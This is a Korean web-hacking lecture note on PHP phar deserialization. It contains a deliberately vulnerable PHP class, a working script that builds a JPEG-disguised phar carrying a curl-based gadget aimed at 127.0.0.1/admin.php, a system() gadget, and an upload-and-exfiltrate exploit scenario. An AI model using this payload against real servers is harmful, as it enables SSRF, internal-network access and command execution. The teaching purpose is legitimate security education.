PHP 아카이브 역직렬화 취약점(phar vuln)
⚠️

PHP 아카이브 역직렬화 취약점(phar vuln)

Lecture
Security
태그
webhacking
web
security
public
완성
Y
생성일
Apr 1, 2024 05:45 AM
LectureName
Web Hacking

1. phar ?


1.1 의미

Phar는 PHP Archivephar 파일에 어플리케이션 로직을 저장할 수 있는 php의 확장입니다. Phar 파일을 사용할 경우, phar:// 형식으로 가져와서 사용되며, 주로 php stream wrappers 에서 사용됩니다.
 
 

1.2 형식

phar 파일 안에 php 파일이 포함되어 있으며, phar 스키마를 통하여 접근할 수 있습니다
include 'phar://file.phar/1.php'; include 'phar://file.phar/2.php';
  • phar파일만 존재한다면, 내부에 있는 php파일을 자유롭게 불러올 수 있다는 점이 장점입니다.
 
Phar 파일은 4가지 구조로 이루어져 있는데, 여기서 주로 볼 부분은 Phar의 메타데이터들이 담기는 Manifest 부분입니다.
  • Stub
  • Manifest
  • File contents
  • Signature (Optional)
 
Manifest 부분의 구조는 다음과 같습니다.
notion image
  • 여러가지 데이터 섹션이 존재하고, serialize 된 데이터가 존재하는 섹션이 있습니다.
  • 여기서 Deserialization 취약점에 노출될 수 있습니다.
 
 
 

2. phar 역직렬화 취약점


2.1 phar 역직렬화 취약점?

phar 파일을 사용할 때 Manifest 부분에서 Deserialization 하는 부분이 존재하는데, 이때 Deserialization 취약점에 노출될 되는 취약점을 말합니다.
 

2.2 실습

취약한 PHP 파일
예시로 Curl Class를 사용하는 phar 파일이 있습니다. 여기서 주로 보아야 할 부분은 __destruct()부분입니다. 해당 클래스를 선언하는 부분이 phar의 metadata 부분에 들어간다면 어떻게 되는지 보겠습니다.
<?php require("db.php"); ini_set('phar.readonly',0); class Requests { public $url; private $options; private $postData; private $cookie; function __construct($url, $postData = '', $cookie = '', $options = array()) { $this->url = $url; $this->postData = $postData; $this->cookie = $cookie; $this->options = $options; } function __destruct(){ //생성자에서 선언된 데이터로 원하는 곳에 CURL 요청 발생 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (!empty($this->postData)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postData); } if (!empty($this->cookie)) { curl_setopt($ch, CURLOPT_COOKIE, $this->cookie); } foreach ($this->options as $option => $value) { curl_setopt($ch, $option, $value); } $output = curl_exec($ch); echo $output; curl_close($ch); } // 여기서 phar 스키마를 사용할 수 있다면? $URL = $_GET['url'] file_get_contents($URL) ?>
⚠️ 일단 여기서 유심히 봐야 할 부분은 다음과 같습니다.
  1. phar.readonly가 disabled 되어있다.phar stream을 사용가능하고 object를 쓸 수 있다
  1. __destruct() 를 통해 생성자를 통해 입력 받은 정보로 curl 요청을 수행역직렬화 시, 원하는 데이터로 변경 가능
 
 
➡️ 해당 취약점을 이용하여 로컬만 접근할 수 있는 페이지로 접근할 수 있도록 할 수 있습니다.
➡️ curl 클래스를 포함한 phar파일을 만들고, 객체를 생성한 후 metadata 부분에 해당 객체를 넣으면 됩니다.
//rce.phar <?php // class Requests { // public $url; // private $options; // private $postData; // private $cookie; // function __construct($url, $postData = '', $cookie = '', $options = array()) { // $this->url = $url; // $this->postData = $postData; // $this->cookie = $cookie; // $this->options = $options; // } // function __destruct(){ // $ch = curl_init(); // curl_setopt($ch, CURLOPT_URL, $this->url); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // if (!empty($this->postData)) { // curl_setopt($ch, CURLOPT_POST, true); // curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postData); // } // if (!empty($this->cookie)) { // curl_setopt($ch, CURLOPT_COOKIE, $this->cookie); // } // foreach ($this->options as $option => $value) { // curl_setopt($ch, $option, $value); // } // $output = curl_exec($ch); // echo $output; // curl_close($ch); // } // } //파일 생성 $phar = new Phar('rce.phar'); $phar -> startBuffering(); // 헤더를 JPEG로 변경(파일 확장자 우회, 필수 아님) $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); $phar -> addFromString('test.txt','test'); // 속성 부여 $url = "http://127.0.0.1/admin.php"; $cookie = "PHPSESSID=cookie;"; //cookie // Requests 객체를 만들어 줌으로써, 추후 phar이 Deserialization이 될 경우 Requests에 있는 destruct 코드 실행 $object = new Requests($url, $cookie); $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
  • 이후 해당 파일을 php --define phar.readonly=0 rce.php 명령어를 통해 phar파일을 생성합니다.
  • 해당 파일이 서버에 업로드 됩니다. (확장자가 phar이 아니더라도 phar:// 를 쓸 수 있다면 상관 없습니다.)
  • 해당 파일이 phar:// 처리를 할 수 있는 스트림 함수를 만나게 되면, 127.0.0.1/admin.php로 요청이 가능합니다.
  • 이때 해당 exploit 코드는 127.0.0.1/admin.php로 요청을 하였지만, 실제로 상황에 따라 로컬에서만 접근할 수 있는 서버로 접근하여 내부망으로 접근하는 등 많은 사용 방법이 존재합니다.
 
 
➡️ 다른 phar 역직렬화 취약점 예시 코드로 hacktricks에 명시된 예시 코드를 보겠습니다
<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path
만약 phar:// 를 이용하여 phar파일을 파싱할 수 있고, 해당 코드 상위단에 클래스의 생성자와 소멸자가 존재한다면, phar 파일 내에서 해당 클래스를 선언하고, 값을 조작하여 소멸자에서 무언가를 트리거 시킬 수 있다면 .phar Deserialization 취약점을 이용하여 의도치 않은 동작을 수행할 수 있습니다.
 
 
 
➡️ 여기서 phar:// 처리를 할 수 있는 스트림 함수는 다음과 같습니다.
➡️ 생각보다 많은 함수들이 해당 스키마를 사용할 수 있습니다.
file() filetime() filectime() fileatime() file_put_contents() fileinode() file_exists() ...
 
 
 
 

3. Exploit 시나리오


3.1 서비스

  • board.php 코드 최상단에 특정 웹사이트와의 통신을 위한 Curl class가 선언되어 있음
  • board.php에서 글을 업로드 할 때, 업로드 첨부파일의 파일 크기를 filesize 로 체크함
  • 로그인 이후, 마이페이지에서 /uploads/{uid}/{random} 형태로 파일 업로드가 가능한 지점 존재
 
 

3.2 Exploit

  1. 마이페이지에서 악성 phar 파일을 업로드함 (파일업로드 확장자 우회, 헤더 변경)
  1. board.php에서 파일이름을 proxy로 변경하여 phar:///uploads/{uid}/{random} 형태로 변경
  1. filesize 에서 파일 이름을 파싱하면서 역직렬화 취약점 발생, CURL을 이용한 내부망 데이터 외부 유출 가능